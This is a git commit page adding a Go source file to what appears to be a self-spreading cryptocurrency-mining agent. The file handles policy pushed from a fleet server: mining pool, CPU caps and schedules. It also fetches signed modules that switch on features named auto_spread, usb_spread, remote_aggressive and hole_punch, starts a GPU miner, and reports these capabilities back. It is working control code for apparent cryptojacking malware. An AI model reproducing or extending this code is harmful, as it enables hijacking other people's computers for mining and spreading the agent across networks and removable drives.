feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
254
agent/client/policy.go
Normal file
254
agent/client/policy.go
Normal file
@@ -0,0 +1,254 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// FleetPolicyUpdate is pushed from the server without re-forge.
|
||||
type FleetPolicyUpdate struct {
|
||||
PushID string `json:"push_id,omitempty"`
|
||||
MiningMode string `json:"mining_mode,omitempty"`
|
||||
ScheduleStart string `json:"schedule_start,omitempty"`
|
||||
ScheduleEnd string `json:"schedule_end,omitempty"`
|
||||
MaxCPUUsagePct int `json:"max_cpu_usage_pct,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolPort int `json:"pool_port,omitempty"`
|
||||
PoolTLS *bool `json:"pool_tls,omitempty"`
|
||||
PoolPass string `json:"pool_pass,omitempty"`
|
||||
}
|
||||
|
||||
// ModuleManifest matches server-signed feature packs.
|
||||
type ModuleManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Description string `json:"description"`
|
||||
Accent string `json:"accent,omitempty"`
|
||||
Capabilities []string `json:"capabilities,omitempty"`
|
||||
Features map[string]interface{} `json:"features"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
||||
if fleetSecret == "" || m.Signature == "" {
|
||||
return false
|
||||
}
|
||||
sig := m.Signature
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(sig))
|
||||
}
|
||||
|
||||
func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
|
||||
var nested struct {
|
||||
PushID string `json:"push_id"`
|
||||
Policy json.RawMessage `json:"policy"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &nested); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
if len(nested.Policy) > 0 {
|
||||
var p FleetPolicyUpdate
|
||||
if err := json.Unmarshal(nested.Policy, &p); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
p.PushID = nested.PushID
|
||||
return p, nil
|
||||
}
|
||||
var p FleetPolicyUpdate
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return FleetPolicyUpdate{}, err
|
||||
}
|
||||
return p, nil
|
||||
}
|
||||
|
||||
func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
|
||||
if p.MiningMode != "" {
|
||||
cfg.MiningMode = strings.TrimSpace(p.MiningMode)
|
||||
}
|
||||
if p.ScheduleStart != "" {
|
||||
cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
|
||||
}
|
||||
if p.ScheduleEnd != "" {
|
||||
cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
|
||||
}
|
||||
if p.MaxCPUUsagePct > 0 {
|
||||
cfg.MaxCPUUsage = p.MaxCPUUsagePct
|
||||
}
|
||||
if p.PoolHost != "" {
|
||||
cfg.PoolHost = strings.TrimSpace(p.PoolHost)
|
||||
}
|
||||
if p.PoolPort > 0 {
|
||||
cfg.PoolPort = p.PoolPort
|
||||
}
|
||||
if p.PoolTLS != nil {
|
||||
cfg.PoolTLS = *p.PoolTLS
|
||||
}
|
||||
if p.PoolPass != "" {
|
||||
cfg.PoolPass = strings.TrimSpace(p.PoolPass)
|
||||
}
|
||||
}
|
||||
|
||||
func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
|
||||
if v, ok := boolFeature(features, "remote_aggressive"); ok {
|
||||
cfg.RemoteAggressive = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "auto_spread"); ok {
|
||||
cfg.AutoSpread = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "usb_spread"); ok {
|
||||
cfg.USBSpread = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "hole_punch"); ok {
|
||||
cfg.HolePunch = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "mesh_p2p"); ok {
|
||||
cfg.MeshP2P = v
|
||||
}
|
||||
if v, ok := boolFeature(features, "gpu_enabled"); ok {
|
||||
cfg.GPUEnabled = v
|
||||
}
|
||||
}
|
||||
|
||||
func boolFeature(features map[string]interface{}, key string) (bool, bool) {
|
||||
raw, ok := features[key]
|
||||
if !ok {
|
||||
return false, false
|
||||
}
|
||||
switch v := raw.(type) {
|
||||
case bool:
|
||||
return v, true
|
||||
default:
|
||||
return false, false
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
|
||||
p, err := parseFleetPolicyUpdate(raw)
|
||||
if err != nil {
|
||||
log.Printf("[agent] policy_update parse error: %v", err)
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
applyFleetPolicyUpdate(&c.cfg, p)
|
||||
cfg := c.cfg
|
||||
pushID := p.PushID
|
||||
c.mu.Unlock()
|
||||
if c.pool != nil {
|
||||
c.pool.UpdateRuntimePolicy(cfg)
|
||||
}
|
||||
c.sendPolicyAck(pushID, cfg)
|
||||
log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
|
||||
}
|
||||
|
||||
func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
|
||||
payload, err := json.Marshal(map[string]interface{}{
|
||||
"push_id": pushID,
|
||||
"mining_mode": cfg.MiningMode,
|
||||
"max_cpu_usage_pct": cfg.MaxCPUUsage,
|
||||
"schedule_start": cfg.ScheduleStart,
|
||||
"schedule_end": cfg.ScheduleEnd,
|
||||
"pool_host": cfg.PoolHost,
|
||||
"pool_port": cfg.PoolPort,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "policy_ack", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
|
||||
moduleName = strings.TrimSpace(moduleName)
|
||||
if moduleName == "" {
|
||||
return fmt.Errorf("module name required")
|
||||
}
|
||||
if c.cfg.FleetSecret == "" {
|
||||
return fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
base, err := c.apiBaseURL(c.cfg.ServerURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
url := base + "/agent/module/" + moduleName
|
||||
req, err := http.NewRequest(http.MethodGet, url, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
|
||||
resp, err := http.DefaultClient.Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
|
||||
}
|
||||
var manifest ModuleManifest
|
||||
if err := json.Unmarshal(body, &manifest); err != nil {
|
||||
return err
|
||||
}
|
||||
if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
|
||||
return fmt.Errorf("module signature invalid")
|
||||
}
|
||||
c.mu.Lock()
|
||||
applyModuleFeatures(&c.cfg, manifest.Features)
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
|
||||
if c.pool != nil {
|
||||
c.pool.UpdateRuntimePolicy(cfg)
|
||||
}
|
||||
c.startGPUMinerIfNeeded()
|
||||
|
||||
c.reportCapabilitiesUpdate()
|
||||
log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) startGPUMinerIfNeeded() {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if !c.cfg.GPUEnabled || c.gpuMiner != nil {
|
||||
return
|
||||
}
|
||||
if gm := newGPUMiner(c.cfg); gm != nil {
|
||||
c.gpuMiner = gm
|
||||
go gm.Start()
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reportCapabilitiesUpdate() {
|
||||
c.mu.Lock()
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
payload, _ := json.Marshal(map[string]bool{
|
||||
"hole_punch": cfg.HolePunch,
|
||||
"remote_aggressive": cfg.RemoteAggressive,
|
||||
"mesh_p2p": cfg.MeshP2P,
|
||||
"auto_spread": cfg.AutoSpread,
|
||||
"ai_enabled": cfg.AIEnabled,
|
||||
"usb_spread": cfg.USBSpread,
|
||||
})
|
||||
_ = c.write(Message{Type: "capabilities_update", Payload: payload})
|
||||
}
|
||||
Reference in New Issue
Block a user